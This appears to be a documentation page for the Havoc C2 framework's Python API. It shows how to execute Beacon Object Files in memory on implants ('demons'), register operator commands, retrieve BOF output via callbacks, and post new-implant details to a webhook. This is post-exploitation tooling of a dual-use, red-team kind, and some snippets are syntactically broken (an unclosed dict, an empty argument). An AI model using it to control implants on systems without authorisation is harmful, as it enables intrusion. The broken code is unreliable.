Object Files

The Havoc agent supports in-memory execution of object files, commonly known as Beacon Object Files or BOFs.

To execute an object file, you can run: inline-execute /tmp/objectfile.x64.o

Python modules

From python, you can pack data as you normally do in Cobalt Strike. You can find several examples of how to do this in this repository.

Register a new command

First, import the following pagackes:

from havoc import Demon, RegisterCommand, RegisterModule

Define the body of your new command:

def my_new_command( demonID, *params ):
    TaskID : str    = None
    demon  : Demon  = None
    # create an instance of the argument packer
    packer = Packer()
    # get an instance of the demon
    demon  = Demon(demonID)

    # check the parameters
    if len(params) != 1:
        demon.ConsoleWrite( demon.CONSOLE_ERROR, "wrong parameters!" )
        return False

    # pack the parameters
    packer.addstr( params[ 0 ] )

    # create a task ID  
    TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to execute some BOF" )

    # instruct Havoc to run a BOF with certain parameters
    demon.InlineExecute( TaskID, "go", f"bin/some_BOF.{demon.ProcessArch}.o", packer.getbuffer(), False )

    # return the new task ID
    return TaskID

Register the new command:

RegisterCommand( my_new_command, "", "command-name", "A short description of what it does", "", , "usage info", "usage example" )

Get the output of a BOF in python

Also, you can run an object file and obtain the result with a callback, like so:

def my_callback(demonID, worked, output):
    print('hi there! I am the python callback of the "locale" BOF')
    print(f'demonID: {demonID}')
    print(f'did the BOF run ok?: {worked}')
    if worked:
        print('here you have the output :)')

def locale( demonID, *param ):
    TaskID : str    = None
    demon  : Demon  = None

    demon  = Demon( demonID )

    return demon.InlineExecuteGetOutput( my_callback, "go", "ObjectFiles/locale.x64.o", b'' )

Get a callback upon new demons

In this example, we call a webhook on all incomming demons.

import requests
from havoc import Demon, RegisterCallback

def alert_new_demon( demonID ):
    demon  : Demon  = None
    demon  = Demon( demonID )

    # send some basic info to the webhook about this new demon
    info = {
    'id': demonID,
    'arch': demon.ProcessArch,
    'user': demon.User,
    # etc...

    # send!
    requests.post('https://some.webhook.com/new-demon', data=info)

RegisterCallback( alert_new_demon )

On this page

  • Object Files
  • Python modules
  • Register a new command
  • Get the output of a BOF in python
  • Get a callback upon new demons